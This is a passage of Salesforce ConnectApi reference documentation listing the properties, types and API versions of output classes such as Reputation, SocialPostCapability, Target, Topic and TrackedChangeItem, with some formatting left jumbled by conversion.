<td></td>
</tr>
<tr>
<td>name</td>
<td>String</td>
<td>Name of the group.</td>
<td>39.0</td>
</tr>
</tbody>
</table>

SEE ALSO:
- ConnectApi.ExternalFilePermissionInformation

**ConnectApi.RepositoryUserSummary**

A user summary.

Subclass of ConnectApi.AbstractDirectoryEntrySummary

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>firstName</td>
<td>String</td>
<td>First name of the user.</td>
<td>39.0</td>
</tr>
<tr>
<td>lastName</td>
<td>String</td>
<td>Last name of the user.</td>
<td>39.0</td>
</tr>
</tbody>
</table>

**ConnectApi.Reputation**

Reputation for a user.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>reputationLevel</td>
<td>ConnectApi.ReputationLevel</td>
<td>User’s reputation level.</td>
<td>32.0</td>
</tr>
<tr>
<td>reputationPoints</td>
<td>Double</td>
<td>User’s reputation points, which can be earned by performing different activities.</td>
<td>32.0</td>
</tr>
</tbody>
</table>
### Available Version

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>url</td>
<td>String</td>
<td>Connect REST API URL to the reputation.</td>
<td>32.0</td>
</tr>
</tbody>
</table>

**SEE ALSO:**
- [ConnectApi.User](#)

### ConnectApi.ReputationLevel

Reputation level for a user.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>levelImageUrl</td>
<td>String</td>
<td>URL to the reputation level image.</td>
<td>32.0</td>
</tr>
<tr>
<td>levelName</td>
<td>String</td>
<td>Name of the reputation level.</td>
<td>32.0</td>
</tr>
<tr>
<td>levelNumber</td>
<td>Integer</td>
<td>Reputation level number, which is the numerical rank of the level, with the lowest level at 1. Administrators define the reputation level point ranges.</td>
<td>32.0</td>
</tr>
</tbody>
</table>

**SEE ALSO:**
- [ConnectApi.Reputation](#)

### ConnectApi.RequestHeader

An HTTP request header name and value pair.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>name</td>
<td>String</td>
<td>The name of the request header.</td>
<td>33.0</td>
</tr>
<tr>
<td>value</td>
<td>String</td>
<td>The value of the request header.</td>
<td>33.0</td>
</tr>
</tbody>
</table>

**SEE ALSO:**
- [ConnectApi.ActionLinkDefinition](#)

### ConnectApi.ResourceLinkSegment

Resource link segment.

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>url</td>
<td>String</td>
<td>URL to a resource not otherwise identified by an ID field, for example, a link to a list of users.</td>
<td>28.0</td>
</tr>
</tbody>
</table>
ConnectApi.ScheduledRecommendation

Represents a scheduled custom recommendation.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
</table>
| channel       | ConnectApi.RecommendationChannel | A way to tie custom recommendations together. For example, display recommendations in specific places in the UI or show recommendations based on time of day or geographic locations. Values are:  
  • CustomChannel1—Custom recommendation channel. Not used by default. Work with your community manager to define custom channels. For example, community managers can use Experience Builder to determine where recommendations appear.  
  • CustomChannel2—Custom recommendation channel. Not used by default. Work with your community manager to define custom channels.  
  • CustomChannel3—Custom recommendation channel. Not used by default. Work with your community manager to define custom channels.  
  • CustomChannel4—Custom recommendation channel. Not used by default. Work with your community manager to define custom channels.  
  • CustomChannel5—Custom recommendation channel. Not used by default. Work with your community manager to define custom channels.  
  • DefaultChannel—Default recommendation channel. Recommendations appear by default on the Home and Question Detail pages of Customer Service and Partner Central Experience Builder templates. They also appear in the feed in the Salesforce mobile web and anywhere community managers add recommendations using Experience Builder. | 36.0 |
<p>| enabled       | Boolean | Indicates whether scheduling is enabled. If true, the custom recommendation is enabled and appears in Experience Cloud sites. If false, custom recommendations in feeds in Salesforce mobile web aren't removed, but no new custom recommendations appear. In Customer Service and Partner Central sites, disabled custom recommendations no longer appear. | 35.0 |</p>
<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>id</td>
<td>String</td>
<td>18-character ID of the scheduled custom recommendation.</td>
<td>35.0</td>
</tr>
<tr>
<td>rank</td>
<td>Integer</td>
<td>The rank determining the order of this scheduled custom recommendation.</td>
<td>35.0</td>
</tr>
<tr>
<td>recommendation AudienceId</td>
<td>String</td>
<td>ID of the audience for the scheduled custom recommendation.</td>
<td>35.0</td>
</tr>
<tr>
<td>recommendation Definition Representation</td>
<td>ConnectApi.Recommendation Definition</td>
<td>Custom recommendation definition that this scheduled recommendation schedules.</td>
<td>35.0</td>
</tr>
<tr>
<td>url</td>
<td>String</td>
<td>URL to the Connect REST API resource for the scheduled custom recommendation.</td>
<td>35.0</td>
</tr>
</tbody>
</table>

**SEE ALSO:**
- ConnectApi.ScheduledRecommendationPage

### ConnectApi.ScheduledRecommendationPage
A list of scheduled custom recommendations.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>scheduled Recommendations</td>
<td>List&lt;ConnectApi.Scheduled Recommendation&gt;</td>
<td>A list of scheduled custom recommendations.</td>
<td>35.0</td>
</tr>
<tr>
<td>url</td>
<td>String</td>
<td>URL to the Connect REST API resource for the scheduled custom recommendation collection.</td>
<td>35.0</td>
</tr>
</tbody>
</table>

### ConnectApi.Scope
Scope information for a target.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>name</td>
<td>String</td>
<td>Name of the scope for the target.</td>
<td>48.0–49.0</td>
</tr>
<tr>
<td>value</td>
<td>String</td>
<td>Value of the scope for the target.</td>
<td>48.0–49.0</td>
</tr>
</tbody>
</table>

**SEE ALSO:**
- ConnectApi.Target

### ConnectApi.ShiftsFromPattern
Shifts created from a pattern.
### Available Version

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>count</td>
<td>Integer</td>
<td>Total count of created shifts.</td>
<td>51.0</td>
</tr>
<tr>
<td>recordIds</td>
<td>List&lt;String&gt;</td>
<td>Collection of created shift IDs.</td>
<td>51.0</td>
</tr>
</tbody>
</table>

### ConnectApi.SocialAccount

A social account on a social network.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>externalSocialAccountId</td>
<td>String</td>
<td>ID of the external social account, if available.</td>
<td>38.0</td>
</tr>
<tr>
<td>handle</td>
<td>String</td>
<td>Social handle, screen name, or alias that identifies this account.</td>
<td>36.0</td>
</tr>
<tr>
<td>name</td>
<td>String</td>
<td>Name of the account as defined by the account’s owner.</td>
<td>36.0</td>
</tr>
<tr>
<td>profileUrl</td>
<td>String</td>
<td>URL to the account’s profile.</td>
<td>36.0</td>
</tr>
<tr>
<td>socialPersonaId</td>
<td>String</td>
<td>ID of the social persona account, if the external social account ID isn’t available.</td>
<td>39.0</td>
</tr>
</tbody>
</table>

SEE ALSO:
- [ConnectApi.SocialPostCapability](#)

### ConnectApi.SocialAccountRelationship

Follow relationship between a managed social account and a social persona.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>isFollowed</td>
<td>Boolean</td>
<td>Specifies whether the social account is followed by the social persona.</td>
<td>46.0</td>
</tr>
<tr>
<td>isFollowing</td>
<td>Boolean</td>
<td>Specifies whether the social account is following the social persona.</td>
<td>46.0</td>
</tr>
<tr>
<td>socialAccountId</td>
<td>String</td>
<td>ID of the social account.</td>
<td>46.0</td>
</tr>
<tr>
<td>socialPersonaId</td>
<td>String</td>
<td>ID of the social persona.</td>
<td>46.0</td>
</tr>
</tbody>
</table>

### ConnectApi.SocialPostCapability

If a feed element has this capability, it can interact with a social post on a social network.

Subclass of [ConnectApi.FeedElementCapabilities](#).
<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>author</td>
<td>ConnectApi.SocialAccount</td>
<td>Social account that authored the social post.</td>
<td>36.0</td>
</tr>
<tr>
<td>content</td>
<td>String</td>
<td>Content body of the social post.</td>
<td>36.0</td>
</tr>
<tr>
<td>deletedBy</td>
<td>ConnectApi.UserSummary</td>
<td>User who deleted the social post.</td>
<td>38.0</td>
</tr>
<tr>
<td>hiddenBy</td>
<td>ConnectApi.UserSummary</td>
<td>User who hid the social post.</td>
<td>41.0</td>
</tr>
<tr>
<td>icon</td>
<td>ConnectApi.Icon</td>
<td>Icon of the social network.</td>
<td>36.0</td>
</tr>
<tr>
<td>id</td>
<td>String</td>
<td>ID associated with the social post Salesforce record.</td>
<td>36.0</td>

ConnectApi.FeedElementCapabilities

ConnectApi.SocialPostIntents

Intents available for a social post.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>approvalIntent</td>
<td>ConnectApi.ApprovalIntent</td>
<td>Approval intent for the social post.</td>
<td>45.0</td>
</tr>
<tr>
<td>deleteIntent</td>
<td>ConnectApi.DeleteIntents</td>
<td>Delete intents for the social post.</td>
<td>45.0</td>
</tr>
<tr>
<td>followIntent</td>
<td>ConnectApi.FollowIntents</td>
<td>Follow intents for the social persona.</td>
<td>45.0</td>
</tr>
<tr>
<td>hideIntent</td>
<td>ConnectApi.HideSocialPostIntent</td>
<td>Hide intent for the social post.</td>
<td>45.0</td>
</tr>
<tr>
<td>likeIntent</td>
<td>ConnectApi.LikeIntents</td>
<td>Like intents for the social post.</td>
<td>45.0</td>
</tr>
</tbody>
</table>
### ConnectApi.SocialPostMassApprovalOutput

Approval or rejection of a large number of social posts.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>isApproved</td>
<td>Boolean</td>
<td>Specifies whether the social posts were approved (\text{true}) or rejected (\text{false}) for publishing.</td>
<td>46.0</td>
</tr>
</tbody>
</table>

### ConnectApi.SocialPostStatus

The status of a social post.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>message</td>
<td>String</td>
<td>Status message.</td>
<td>36.0</td>
</tr>
<tr>
<td>type</td>
<td>ConnectApi.SocialPostStatusType</td>
<td>Status type. Values are: - ApprovalPending - ApprovalRecalled - ApprovalRejected - Deleted - Failed - Hidden - Pending - Sent - Unknown</td>
<td>36.0</td>
</tr>
</tbody>
</table>

SEE ALSO:
- ConnectApi.SocialPostCapability

### ConnectApi.Stamp

A user stamp.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>description</td>
<td>String</td>
<td>Description of the stamp.</td>
<td>39.0–43.0</td>
</tr>
<tr>
<td>id</td>
<td>String</td>
<td>ID of the stamp.</td>
<td>39.0–43.0</td>
</tr>
<tr>
<td>imageUrl</td>
<td>String</td>
<td>Image URL of the stamp.</td>
<td>39.0–43.0</td>
</tr>
</tbody>
</table>
ConnectApi.StatusCapability

If a feed post or comment has this capability, it has a status that determines its visibility.
Subclass of ConnectApi.FeedElementCapability.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>feedEntityStatus</td>
<td>ConnectApi.FeedEntityStatus</td>
<td>Status of the feed post or comment. Values are:</td>
<td>37.0</td>
</tr>
<tr>
<td></td>
<td></td>
<td>• Draft—The feed post isn’t published but is visible to the author and users with Modify All Data or View All Data permission. Comments can’t be drafts.</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>• PendingReview—The feed post or comment isn’t approved yet and therefore isn’t published or visible.</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>• Published—The feed post or comment is approved and visible.</td>
<td></td>
</tr>
<tr>
<td>isApprovableByMe</td>
<td>Boolean</td>
<td>Specifies whether the context user can change the status of the feed post or comment.</td>
<td>37.0</td>
</tr>
</tbody>
</table>

ConnectApi.StrategyTrace

Messages and trace nodes for a recommendation strategy execution.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>messages</td>
<td>List&lt;String&gt;</td>
<td>Messages and errors from the strategy execution.</td>
<td>45.0</td>
</tr>
<tr>
<td>nodes</td>
<td>List&lt;ConnectApi.StrategyTraceNode&gt;</td>
<td>Nodes of the strategy execution used for debugging.</td>
<td>45.0</td>
</tr>
</tbody>
</table>

SEE ALSO:

ConnectApi.CommentCapabilities
ConnectApi.FeedElementCapabilities
ConnectApi.NBARecommendations
ConnectApi.StrategyTraceNode

A trace node for a recommendation strategy execution.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>inputCount</td>
<td>Integer</td>
<td>Number of items put into the node.</td>
<td>45.0</td>
</tr>
<tr>
<td>messages</td>
<td>List&lt;String&gt;</td>
<td>Messages that occurred during node execution.</td>
<td>45.0</td>
</tr>
<tr>
<td>nodeName</td>
<td>String</td>
<td>Name of the node.</td>
<td>45.0</td>
</tr>
<tr>
<td>nodeTime</td>
<td>Long</td>
<td>Time spent processing inside the node.</td>
<td>45.0</td>
</tr>
<tr>
<td>nodeType</td>
<td>String</td>
<td>Type of node.</td>
<td>45.0</td>
</tr>
<tr>
<td>outputCount</td>
<td>Integer</td>
<td>Number of items returned from the node.</td>
<td>45.0</td>
</tr>
<tr>
<td>outputs</td>
<td>List&lt;String&gt;</td>
<td>Recommendations that are returned from the node.</td>
<td>45.0</td>
</tr>
<tr>
<td>totalTime</td>
<td>Long</td>
<td>Total time spent processing.</td>
<td>45.0</td>
</tr>
</tbody>
</table>

ConnectApi.StrategyTrace

ConnectApi.SubmitCancelOutputRepresentation

ID of the change order created for a cancel action, and a set of its financial values.
Subclass of ConnectApi.BaseOutputRepresentation.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>changeBalances</td>
<td>ConnectApi.ChangeItem</td>
<td>Financial values resulting from the cancel.</td>
<td>48.0</td>
</tr>
<tr>
<td></td>
<td>OutputRepresentation</td>
<td></td>
<td></td>
</tr>
<tr>
<td>changeOrderId</td>
<td>String</td>
<td>ID of the created change order.</td>
<td>48.0</td>
</tr>
</tbody>
</table>

ConnectApi.SubmitReturnOutputRepresentation

ID of the change order created for a return action, and a set of its financial values.
Subclass of ConnectApi.BaseOutputRepresentation.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>changeBalances</td>
<td>ConnectApi.ChangeItem</td>
<td>Financial values resulting from the return.</td>
<td>48.0</td>
</tr>
<tr>
<td></td>
<td>OutputRepresentation</td>
<td></td>
<td></td>
</tr>
<tr>
<td>changeOrderId</td>
<td>String</td>
<td>ID of the created change order.</td>
<td>48.0</td>
</tr>
</tbody>
</table>
ConnectApi.Subscription

Subscription.

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>community</td>
<td>ConnectApi.Reference</td>
<td>Information about the Experience Cloud site in which the subscription exists.</td>
<td>28.0</td>
</tr>
<tr>
<td>id</td>
<td>String</td>
<td>Subscription’s 18–character ID.</td>
<td>28.0</td>
</tr>
<tr>
<td>subject</td>
<td>ConnectApi.Actor</td>
<td>Information about the parent, that is, the thing or person being followed.</td>
<td>28.0</td>
</tr>
<tr>
<td>subscriber</td>
<td>ConnectApi.Actor</td>
<td>Information about the subscriber, that is, the person following this item.</td>
<td>28.0</td>
</tr>
<tr>
<td>url</td>
<td>String</td>
<td>Connect REST API URL to this specific subscription.</td>
<td>28.0</td>
</tr>
</tbody>
</table>

SEE ALSO:
- ConnectApi.FollowerPage
- ConnectApi.FollowingPage

ConnectApi.SupportedEmojis

A collection of supported emojis.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>supportedEmojis</td>
<td>ConnectApi.EmojiCollection</td>
<td>A collection of supported emojis.</td>
<td>39.0</td>
</tr>
</tbody>
</table>

ConnectApi.SurveyInvitationEmailOutput

Survey invitation email.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>errorCode</td>
<td>Integer</td>
<td>Error code for the failed call.</td>
<td>50.0</td>
</tr>
<tr>
<td>errorMessage</td>
<td>String</td>
<td>Details explaining why the call failed.</td>
<td>50.0</td>
</tr>
</tbody>
</table>
| status              | ConnectApi.SurveyEmailStatusEnum | Status of a survey invitation email. Values are:  
- Failed—The survey invitation email wasn’t sent.  
- Queued—The survey invitation email is queued for sending. | 50.0              |
## ConnectApi.Target

Personalization target information.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>audience</td>
<td><code>ConnectApi.AudienceTarget</code></td>
<td>Audience assigned to the target.</td>
<td>48.0</td>
</tr>
<tr>
<td>formulaScope</td>
<td><code>ConnectApi.FormulaScope</code></td>
<td>Formula scope of the target.</td>
<td>50.0</td>
</tr>
<tr>
<td>groupName</td>
<td><code>String</code></td>
<td>Group name of the target. Groups bundle related target and audience pairs.</td>
<td>48.0</td>
</tr>
<tr>
<td>id</td>
<td><code>String</code></td>
<td>ID of the target.</td>
<td>48.0</td>
</tr>
<tr>
<td>priority</td>
<td><code>Integer</code></td>
<td>Priority of the target. Within a group, priority determines which target is returned if the user matches more than one audience.</td>
<td>48.0</td>
</tr>
</tbody>
</table>
| publishStatus | `ConnectApi.PublishStatus` | Publish status of the target. Values are:
  - Draft
  - Live | 48.0 |
| scope         | `List<ConnectApi.Scope>` | List of scopes for the target. In version 50.0 and later, the `formulaScope` property returns this information. | 48.0–49.0 |
| targetType    | `String` | Type of target, indicating the nature of the data being targeted. | 48.0 |
| targetValue   | `String` | Value of the target. | 48.0 |
| url           | `String` | URL to the target. | 48.0 |

SEE ALSO:
- `ConnectApi.TargetCollection`

## ConnectApi.TargetCollection

List of personalization targets.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>targets</td>
<td><code>List&lt;ConnectApi.Target&gt;</code></td>
<td>List of personalization targets.</td>
<td>48.0</td>
</tr>
</tbody>
</table>

## ConnectApi.TextSegment

Text segment.
Subclass of `ConnectApi.MessageSegment`.
No additional properties.

### ConnectApi.TimeZone
The user's time zone as selected in the user's personal settings in Salesforce. This value does not reflect a device's current location.

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>gmtOffset</td>
<td>Double</td>
<td>Signed offset, in hours, from GMT.</td>
<td>30.0</td>
</tr>
<tr>
<td>name</td>
<td>String</td>
<td>Display name of this time zone.</td>
<td>30.0</td>
</tr>
</tbody>
</table>

SEE ALSO:  
[ConnectApi.UserSettings]

### ConnectApi.Topic
Topic.

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>createdDate</td>
<td>Datetime</td>
<td>ISO 8601 date string, for example, 2011-02-25T18:24:31.000Z.</td>
<td>29.0</td>
</tr>
<tr>
<td>description</td>
<td>String</td>
<td>Description of the topic.</td>
<td>29.0</td>
</tr>
<tr>
<td>id</td>
<td>String</td>
<td>18-character ID.</td>
<td>29.0</td>
</tr>
<tr>
<td>images</td>
<td>ConnectApi.TopicImages</td>
<td>Images associated with the topic.</td>
<td>32.0</td>
</tr>
</tbody>
</table>
| isBeingDeleted | Boolean | `true` if the topic is currently being deleted; `false` otherwise.  
After the topic is deleted, when attempting to retrieve the topic, the output is NOT_FOUND. | 33.0              |
| name        | String   | Name of the topic.                                                         | 29.0              |
| nonLocalizedName | String | Non-localized name of the topic.                                           | 36.0              |
| talkingAbout | Integer  | Number of people talking about this topic over the last two months, based on factors such as topic additions and comments on posts with the topic. | 29.0              |
### ConnectApi.TopicEndorsement

Represents one user endorsing another user for a single topic.

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>endorsee</td>
<td>ConnectApi.User Summary</td>
<td>User being endorsed.</td>
<td>30.0</td>
</tr>
<tr>
<td>endorsementId</td>
<td>String</td>
<td>18-character ID of the endorsement record.</td>
<td>30.0</td>
</tr>
<tr>
<td>endorser</td>
<td>ConnectApi.User Summary</td>
<td>User performing the endorsement.</td>
<td>30.0</td>
</tr>
<tr>
<td>topic</td>
<td>ConnectApi.Topic</td>
<td>Topic the user is being endorsed for.</td>
<td>30.0</td>
</tr>
<tr>
<td>url</td>
<td>String</td>
<td>URL to the resource for the endorsement record.</td>
<td>30.0</td>
</tr>
</tbody>
</table>

### ConnectApi.TopicEndorsementCollection

Collection of topic endorsement response bodies.

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>currentPageUrl</td>
<td>String</td>
<td>Connect REST API URL identifying the current page.</td>
<td>30.0</td>
</tr>
<tr>
<td>nextPageUrl</td>
<td>String</td>
<td>Connect REST API URL identifying the next page, or null if there isn’t a next page.</td>
<td>30.0</td>
</tr>
<tr>
<td>previousPageUrl</td>
<td>String</td>
<td>Connect REST API URL identifying the previous page, or null if there isn’t a previous page.</td>
<td>30.0</td>
</tr>
<tr>
<td>topicEndorsements</td>
<td>List&lt;ConnectApi.Topic&gt;</td>
<td>List of topic endorsements.</td>
<td>30.0</td>
</tr>
</tbody>
</table>
ConnectApi.TopicEndorsementSummary

Topic endorsement summary.
Subclass of ConnectApi.UserActivitySummary.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>endorsementId</td>
<td>ID</td>
<td>ID of the topic endorsement.</td>
<td>42.0</td>
</tr>
</tbody>
</table>

ConnectApi.TopicImages

Images associated with a topic.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>coverImageUrl</td>
<td>String</td>
<td>URL to a topic’s cover image, which appears on the topic page. Both topics and managed topics can have cover images.</td>
<td>32.0</td>
</tr>
<tr>
<td>featuredImageUrl</td>
<td>String</td>
<td>URL to a managed topic’s featured image, which appears wherever you feature it, for example, on your Experience Cloud site home page.</td>
<td>32.0</td>
</tr>
</tbody>
</table>

SEE ALSO:
ConnectApi.Topic

ConnectApi.TopicPage

Page of topics.

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>currentPageUrl</td>
<td>String</td>
<td>Connect REST API URL identifying the current page.</td>
<td>29.0</td>
</tr>
<tr>
<td>nextPageUrl</td>
<td>String</td>
<td>Connect REST API URL identifying the next page, or null if there isn’t a next page.</td>
<td>29.0</td>
</tr>
<tr>
<td>topics</td>
<td>List&lt;ConnectApi.Topic&gt;</td>
<td>List of topics.</td>
<td>29.0</td>
</tr>
</tbody>
</table>

ConnectApi.TopicsCapability

If a feed element has this capability, the context user can add topics to it. Topics help users organize and discover conversations.
Subclass of ConnectApi.FeedElementCapability.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>canAssignTopics</td>
<td>Boolean</td>
<td>true if a topic can be assigned to the feed element, false otherwise.</td>
<td>32.0</td>
</tr>
</tbody>
</table>
### ConnectApi.Topic

A collection of topics associated with this feed element.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>items</td>
<td><code>List&lt;ConnectApi.Topic&gt;</code></td>
<td>A collection of topics associated with this feed element.</td>
<td>32.0</td>
</tr>
</tbody>
</table>

SEE ALSO:
- `ConnectApi.FeedElementCapabilities`

### ConnectApi.TopicSuggestion

Topic suggestion.

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>existingTopic</td>
<td><code>ConnectApi.Topic</code></td>
<td>Topic that already exists or null for a new topic</td>
<td>29.0</td>
</tr>
<tr>
<td>name</td>
<td><code>String</code></td>
<td>Topic name</td>
<td>29.0</td>
</tr>
</tbody>
</table>

SEE ALSO:
- `ConnectApi.TopicSuggestionPage`

### ConnectApi.TopicSuggestionPage

Page of topic suggestions.

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>TopicSuggestions</td>
<td><code>List&lt;ConnectApi.TopicSuggestion&gt;</code></td>
<td>List of topic suggestions.</td>
<td>29.0</td>
</tr>
</tbody>
</table>

### ConnectApi.TopicSummary

Summary of a topic.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>id</td>
<td><code>String</code></td>
<td>ID of the topic.</td>
<td>47.0</td>
</tr>
<tr>
<td>name</td>
<td><code>String</code></td>
<td>Name of the topic.</td>
<td>47.0</td>
</tr>
</tbody>
</table>

SEE ALSO:
- `ConnectApi.ManagedContentAssociations`
ConnectApi.TrackedChangeBundleCapability

If a feed element has this capability, it has a group of other feed elements aggregated into one feed element called a bundle. This type of bundle aggregates feed tracked changes.

Subclass of ConnectApi.BundleCapability.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>changes</td>
<td>List&lt;ConnectApi.TrackedChangeItem&gt;</td>
<td>Collection of feed tracked changes.</td>
<td>31.0</td>
</tr>
</tbody>
</table>

ConnectApi.TrackedChangeItem

Tracked change item.

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>fieldName</td>
<td>String</td>
<td>The name of the field that was updated.</td>
<td>28.0</td>
</tr>
<tr>
<td>newValue</td>
<td>String</td>
<td>The new value of the field or null if the field length is long.</td>
<td>28.0</td>
</tr>
<tr>
<td>oldValue</td>
<td>String</td>
<td>The old value of the field or null if the field length is long.</td>
<td>28.0</td>
</tr>
</tbody>
</table>

SEE ALSO:
- ConnectApi.TrackedChangesCapability
- ConnectApi.TrackedChangeBundleCapability

ConnectApi.TrackedChangesCapability

If a feed element has this capability, it contains all changes to a record for a single tracked change event.

Subclass of ConnectApi.FeedElementCapability.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>changes</td>
<td>List&lt;ConnectApi.TrackedChangeItem&gt;</td>
<td>Collection of feed tracked changes.</td>
<td>32.0</td>
</tr>
</tbody>
</table>

SEE ALSO:
- ConnectApi.FeedElementCapabilities

ConnectApi.UnauthenticatedUser

Unauthenticated user.

Subclass of ConnectApi.Actor.

No additional properties.

Instances of this class are used as the actor for feed items and comments posted by Chatter customers.
ConnectApi.UnreadConversationCount

Unread count for a conversation.

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>hasMore</td>
<td>Boolean</td>
<td>Specifies if there are more than 50 unread messages (true) or not (false).</td>
<td>29.0</td>
</tr>
<tr>
<td>unreadCount</td>
<td>Integer</td>
<td>The total number of unread messages.</td>
<td>29.0</td>
</tr>
</tbody>
</table>

ConnectApiUpDownVoteCapability

If a feed post or comment has this capability, users can upvote or downvote it.

Subclass of ConnectApi.FeedElementCapability.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>downVoteCount</td>
<td>Long</td>
<td>Number of downvotes.</td>
<td>41.0</td>
</tr>
<tr>
<td>myVote</td>
<td>ConnectApi.UpDownVoteValue</td>
<td>Specifies the context user's vote. Values are: Down, None, Up</td>
<td>41.0</td>
</tr>
<tr>
<td>upVoteCount</td>
<td>Long</td>
<td>Number of upvotes.</td>
<td>41.0</td>
</tr>
</tbody>
</table>

SEE ALSO:
- ConnectApi.CommentCapabilities
- ConnectApi.FeedElementCapabilities

